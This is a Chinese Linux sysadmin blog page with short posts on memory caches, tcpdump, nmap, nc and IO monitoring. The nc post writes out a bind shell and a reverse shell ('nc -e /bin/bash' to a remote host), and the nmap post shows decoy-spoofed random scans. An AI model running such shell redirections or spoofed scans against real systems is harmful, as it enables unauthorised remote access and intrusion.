海运的博客

Linux服务器内存使用分析及内存缓存

发布时间:May 4, 2012 // 分类:系统调优 // No Comments

free语法:

free [-b|-k|-m|-g] [-l] [-o] [-t] [-s delay] [-c count] [-V]
-b,-k,-m,-g 以b/k/m/g为单位输出
-o 旧格式输出,无缓存行
-t 显示物理内存和虚拟内存之和
-s 刷新时间,不间断输出
-c 输出次数,配合-s使用

free使用:

free -m
             total       used       free     shared    buffers     cached
Mem:          1000        641        359          0        126        305
-/+ buffers/cache:        209        791
Swap:         1024          0       1024
total:内存总数1000M
used:已经使用的内存641M,包括缓存的内存数
free:空闲内存359M,不含缓存的内存数
buffers/cached:缓存的内存数
-buffers/cache:真实已用的内存数209M,即used-buffers-cached
+buffers/cache:真实可用的内存数791M,即free+buffers+cached
SWAP:虚拟内存数

内存缓存说明:

Buffers:用于缓存块设备读写的内存大小(buffer cache),使用先进先出策略。这部分缓存主要用于目录项、
inode等文件系统元数据。如果ls一个包含很多内容的目录,可以发现这个值明显增大。
Cache:用于缓存文件系统读写的内存大小(page cache),使用最少使用策略,这部分缓存主要用于打开的文件,
如果 cache 的值很大,说明缓存的文件较多,在进行读写时,命中率也将提高,如果频繁访问到的文件大部分被缓存,
则必然会减少磁盘的读IO。

清空内存缓存:

sync 
#先将缓存写入磁盘
echo 1 > /proc/sys/vm/drop_caches
#释放buffer cache
echo 2 > /proc/sys/vm/drop_caches
#释放page cache
echo 3 > /proc/sys/vm/drop_caches
#释放buffer cache和page cache

Linux网络工具之tcpdump使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Tcpdump使用语法:

tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ][ -i interface ] [ -r file ] [ -w file ]

参数:

-c 指定监听的封包数,默认持续监听。
-e 显示链路层报头
-nn 以数字方式显示IP及端口
-i 指定监听的网卡
-F 读取文件内的过滤参数
-q 快速输出模式
-l 使标准输出变为行缓冲形式,用于重定向分析
-w 数据包保存为文件
-r 读取保存的数据包
-A 以ASCII编码显示数据包
-x 以十六进制显示
-s 指定抓包显示一行的宽度,-s0表示显示完整的包

应用举例:
1.监听单个IP的所有TCP通信

#http://www.haiyun.me
tcpdump tcp -nn -v host 192.168.1.16

2.监听指定IP间的ARP通信

tcpdump arp -nn -v host 192.168.1.16 and 192.168.1.1

3.监听DNS查询数据包

tcpdump udp port 53

4.监听目标端口80的数据包

tcpdump -A -v dst port 80  

5.监听指定IP目标80端口的数据包

tcpdump -A -v -s 0 host 192.168.1.235 and dst port 80

6.监听特定TCP标志的数据包

tcpdump tcp[tcpflags]=tcp-syn

7.监听HTTP HEAD:

#GET
tcpdump -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420'
#POST
tcpdump -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
#所有HEAD
tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

Linux网络扫描工具nmap使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Nmap是linux下功能强大的网络扫描嗅探工具,支持多种扫描方式,还可侦测远端运行的操作系统。
使用语法:

nmap [Scan Type...] [Options] {target specification}

参数:

-P0  不ping主机,只进行扫描。
-PT  使用TCP的ping
-PB  这是默认类型,可以使用ICMP ping 也可以使用TCP ping。
-sL 仅列出指定网络上在线主机
-sP 只进行ping,不进一步扫描,用于判断主机是否在线。
-sS SYN扫描,只发送syn数据包。
-sT TCP扫描,默认扫描方式。
-sU UDP扫描
-sF FIN扫描
-sO 目标支持哪些协议
-iR 随机生成目录地址
-S 源地址欺骗
-D 使用一组地址为源地址欺骗
-R 反向DNS查询
-p 指定端口
-f 快速扫描模式
-O 探测目标操作系统
-A 全部扫描
-v 列出详细信息

应用举例:
1.扫描远程主机开放端口及操作系统:

nmap -sS -P0 -v -O host 

2.列出指定网段在线主机:

nmap -sP 192.168.1.0/24

3.列出指定网段内反向DNS:

nmap -R -sL 192.168.1.0/24

4.随机生成100IP扫描80端口并进行源IP欺骗:

nmap -iR 100 -p 80 -n -vv -e eth0 -D 192.168.1.5,ME 192.168.1.2

Linux网络工具之nc使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

NC是一款小巧强大的网络工具,有瑞士军刀之称。
语法:

nc [-options] hostname port[s] [ports] ...

参数:

-l 监听模式
-i 延迟时间
-e 程序重定向
-p 本地端口
-r 任意本地或远程端口
-u 使用UDP协议
-U uinx sock模式
-n 使用IP地址
-v 显示指令执行过程
-w 超时时间
-z 关闭输入输出,用于扫描

应用举例:
1.端口扫描:

nc -v -z -w 1 www.haiyun.me 1-1000

2.传输文件:

nc -l 1000 < file
nc host 1000 > file

3.简单聊天软件:

nc -l 1000
nc host 1000

4.重定向shell到监听端口:

nc -l -p 5000 -e /bin/bash 

5.重定向shell并反向连接远程服务器:

nc -e /bin/bash www.haiyun.me 5000

Linux服务器查看占用IO较高的程序

发布时间:May 3, 2012 // 分类:系统调优 // No Comments

开启IO监控:

sysctl vm.block_dump=1
#或
echo 1 >/proc/sys/vm/block_dump 

开启后内核会将IO读写dump到日记,用dmesg查看:

dmesg

进程读写block到磁盘dm-0:

mysqld(7822): READ block 78196624 on dm-0
kjournald(529): WRITE block 211136 on dm-0
bash(8336): dirtied inode 7391146 (dmesg) on dm-0

统计当前占用IO最高的10个进程:

dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10
分类
最新文章
最近回复
  • 海运: 正常情况下编译整个内核执行make menuconfig后就不会出现此提示,当单独编译单个模块...
  • oijq: 就是用的armbian的配置文件哈,按你的教程做的,在执行make LOCALVERSION=...
  • 海运: 使用armbian的配置文件,其它添加或修改自己懂的部分,不懂的就不要碰了。
  • oijq: 编译时这些选项全部选Y吗?Actions Semi Platforms (ARCH_ACTIO...
  • 海运: n1编译bbr内核模块参考这个:https://www.haiyun.me/archives/...
  • jiqz: make M=net/ipv4/ CONFIG_TCP_CONG_BBR=m modules编...
  • ruralhunter: 哦,文档里应该是对的,是.config
  • ruralhunter: cp /mnt/boot/config-4.18.7-aml-s9xxx .config这里应...
  • 海运: 你是编译不成功呢?还是编译后不能运行呢?还是运行后不能访问web界面呢?
  • 白墨: 可能不清楚就是编译安装后启动后访问不了web界面
归档